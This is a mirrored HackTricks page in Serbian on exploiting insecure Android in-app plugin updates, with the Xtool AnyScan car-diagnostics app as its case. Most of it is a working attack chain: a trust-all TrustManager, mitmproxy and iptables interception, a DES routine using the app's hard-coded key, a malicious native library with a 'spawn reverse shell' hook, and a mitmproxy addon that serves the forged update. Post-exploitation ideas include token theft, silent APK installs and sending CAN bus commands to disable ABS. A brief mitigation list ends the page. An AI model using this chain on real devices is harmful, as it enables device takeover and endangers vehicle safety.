mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
125 lines
6.0 KiB
Markdown
125 lines
6.0 KiB
Markdown
# Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Mnoge Android aplikacije implementiraju **svoje “plugin” ili “dinamičke funkcije” kanale za ažuriranje** umesto korišćenja Google Play prodavnice. Kada je implementacija nesigurna, napadač sposoban da presretne saobraćaj može da obezbedi **arbitrarni nativni kod koji će biti učitan unutar procesa aplikacije**, što dovodi do potpune Remote Code Execution (RCE) na uređaju – i u nekim slučajevima na bilo kom spoljnjem uređaju koji kontroliše aplikacija (automobili, IoT, medicinski uređaji …).
|
||
|
||
Ova stranica sumira lanac ranjivosti iz stvarnog sveta pronađen u Xtool **AnyScan** aplikaciji za dijagnostiku automobila (v4.40.11 → 4.40.40) i generalizuje tehniku kako biste mogli da auditujete druge Android aplikacije i iskoristite pogrešnu konfiguraciju tokom angažovanja red-tima.
|
||
|
||
---
|
||
## 1. Identifikacija nesigurnog TLS TrustManager-a
|
||
|
||
1. Decompile-ujte APK sa jadx / apktool i locirajte mrežni stek (OkHttp, HttpUrlConnection, Retrofit…).
|
||
2. Potražite **prilagođeni `TrustManager`** ili `HostnameVerifier` koji slepo veruje svakom sertifikatu:
|
||
```java
|
||
public static TrustManager[] buildTrustManagers() {
|
||
return new TrustManager[]{
|
||
new X509TrustManager() {
|
||
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
|
||
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
|
||
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||
}
|
||
};
|
||
}
|
||
```
|
||
3. Ako je prisutan, aplikacija će prihvatiti **bilo koji TLS sertifikat** → možete pokrenuti transparentni **MITM proxy** sa sertifikatom potpisanim od strane sebe:
|
||
```bash
|
||
mitmproxy -p 8080 -s addon.py # see §4
|
||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||
```
|
||
## 2. Obrnuto inženjerstvo metapodataka ažuriranja
|
||
|
||
U slučaju AnyScan, svaki pokretanje aplikacije pokreće HTTPS GET na:
|
||
```
|
||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||
```
|
||
Odgovor telo je **XML dokument** čiji `<FileData>` čvorovi sadrže **Base64-enkodiran, DES-ECB enkriptovan** JSON koji opisuje svaki dostupni plugin.
|
||
|
||
Tipični koraci u potrazi:
|
||
1. Pronađite kripto rutinu (npr. `RemoteServiceProxy`) i povratite:
|
||
* algoritam (DES / AES / RC4 …)
|
||
* način rada (ECB / CBC / GCM …)
|
||
* hard-kodirani ključ / IV (često 56-bitni DES ključevi ili 128-bitni AES ključevi u konstantama)
|
||
2. Ponovno implementirajte funkciju u Python-u za dekriptovanje / enkriptovanje metapodataka:
|
||
```python
|
||
from Crypto.Cipher import DES
|
||
from base64 import b64decode, b64encode
|
||
|
||
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
|
||
|
||
def decrypt_metadata(data_b64: str) -> bytes:
|
||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||
return cipher.decrypt(b64decode(data_b64))
|
||
|
||
def encrypt_metadata(plaintext: bytes) -> str:
|
||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||
```
|
||
## 3. Napravite Zlonamerni Plugin
|
||
|
||
1. Izaberite bilo koji legitimni plugin ZIP i zamenite nativnu biblioteku sa vašim payload-om:
|
||
```c
|
||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||
__attribute__((constructor))
|
||
void init(void){
|
||
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
|
||
// spawn reverse shell, drop file, etc.
|
||
}
|
||
```
|
||
|
||
```bash
|
||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||
```
|
||
2. Ažurirajte JSON metapodatke tako da `"FileName" : "PWNED.zip"` i `"DownloadURL"` upućuje na vaš HTTP server.
|
||
3. DES-enkripcija + Base64-enkodiranje izmenjenog JSON-a i kopiranje nazad unutar presretnutog XML-a.
|
||
|
||
## 4. Isporuka Payload-a sa mitmproxy
|
||
|
||
`addon.py` primer koji *tiho* menja originalne metapodatke:
|
||
```python
|
||
from mitmproxy import http
|
||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||
|
||
def request(flow: http.HTTPFlow):
|
||
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
|
||
flow.response = http.Response.make(
|
||
200,
|
||
MOD_XML,
|
||
{"Content-Type": "text/xml"}
|
||
)
|
||
```
|
||
Pokrenite jednostavan veb server za hostovanje malicioznog ZIP-a:
|
||
```bash
|
||
python3 -m http.server 8000 --directory ./payloads
|
||
```
|
||
Kada žrtva pokrene aplikaciju, ona će:
|
||
* preuzeti naš lažirani XML preko MITM kanala;
|
||
* dekriptovati i analizirati ga sa hard-kodiranim DES ključem;
|
||
* preuzeti `PWNED.zip` → raspakovati unutar privatne memorije;
|
||
* `dlopen()` uključeni *libscan_x64.so*, odmah izvršavajući naš kod **sa dozvolama aplikacije** (kamera, GPS, Bluetooth, sistem datoteka, …).
|
||
|
||
Pošto je dodatak keširan na disku, backdoor **ostaje aktivan nakon ponovnog pokretanja** i pokreće se svaki put kada korisnik odabere povezanu funkciju.
|
||
|
||
## 5. Ideje za post-eksploataciju
|
||
|
||
* Ukrao sesijske kolačiće, OAuth tokene ili JWT-ove koje aplikacija čuva.
|
||
* Ostaviti APK druge faze i tiho ga instalirati putem `pm install` (aplikacija već ima `REQUEST_INSTALL_PACKAGES`).
|
||
* Zloupotrebiti bilo koji povezani hardver – u AnyScan scenariju možete slati proizvoljne **OBD-II / CAN bus komande** (otključavanje vrata, onemogućavanje ABS-a, itd.).
|
||
|
||
---
|
||
### Lista za detekciju i ublažavanje (plavi tim)
|
||
|
||
* NIKADA ne šaljite produkcijsku verziju sa prilagođenim TrustManager/HostnameVerifier koji onemogućava validaciju sertifikata.
|
||
* Ne preuzimajte izvršni kod sa spolja, osim Google Play-a. Ako *morate*, potpišite svaki dodatak istim **apkSigning v2** ključem i proverite potpis pre učitavanja.
|
||
* Zamenite slabu/hard-kodiranu kriptografiju sa **AES-GCM** i rotirajućim ključem na serverskoj strani.
|
||
* Validirajte integritet preuzetih arhiva (potpis ili barem SHA-256).
|
||
|
||
---
|
||
## Reference
|
||
|
||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|